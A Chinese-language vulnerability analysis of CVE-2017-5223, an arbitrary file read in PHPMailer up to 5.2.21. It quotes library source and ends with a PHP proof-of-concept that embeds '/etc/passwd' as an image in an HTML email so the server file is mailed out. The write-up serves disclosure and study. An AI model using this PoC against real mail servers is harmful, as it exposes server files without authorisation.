PHPMailer小于5.2.21任意文件读取漏洞

漏洞版本: <= 5.2.21
CVE: CVE-2017-5223

漏洞分析

$path变量未过滤,导致可以file_get_contents
该函数中接收了一个 $path 变量,最后该 $path 变量的值带入到了 file_get_contents 函数中执行。如果该$path变量可控即可任意文件读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!is_readable($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = get_magic_quotes_runtime();
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
//Doesn't exist in PHP 5.4, but we don't need to check because
//get_magic_quotes_runtime always returns false in 5.4+
//so it will never get here
ini_set('magic_quotes_runtime', false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}

回溯发现attachAll函数调用encodeFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();

// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}

$path变量是通过$attachment[0]赋值,追踪$attachment数组发现addAttachment和addStringAttachment、addEmbeddedImage、addStringEmbeddedImage生成数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}

// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}

$filename = basename($path);
if ($name == '') {
$name = $filename;
}

// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}

其中addEmbeddedImage该函数是处理邮件内容中的图片的,回溯该函数发现msgHTML调用,msgHTML 函数是用来发送html格式的邮件,其中$filename由$url赋值

$url由$images[2]数组赋值,$url 是通过解析$message里src=”xxxxx”而来的,$url最终被解析出来就是xxxxx

$image由$message赋值,而 $message 就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。

回溯attachAll函数被createBody()调用,

createBody()赋值给$MIMEBody

$MIMEBody被postSend函数和preSend函数调用

用send方法即可调用该函数,即发信指令

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php  
#Author:Yxlink
require_once('PHPMailerAutoload.php');
//require_once('class.phpmailer5.2.14.php');
//require_once('class.phpmailer5.22.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "smtp.163.com";
$mail->Port = 25;
$mail->SMTPAuth = true;
$mail->CharSet = "UTF-8";
$mail->Encoding = "base64";
$mail->Username = "xxx@163.com";
$mail->Password = "xxxx";
$mail->Subject = "hello";
$mail->From = "xxx@163.com";
$mail->FromName = "test";
$address = "xxx@163.com";
$mail->AddAddress($address, "test");
//$mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取
$mail->IsHTML(true);
$msg="<img src='/etc/passwd'>test";//邮件内容形如这样写。
$mail->msgHTML($msg);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>

漏洞测试

在linux中测试,使用poc利用可读取发送邮件服务器文件内容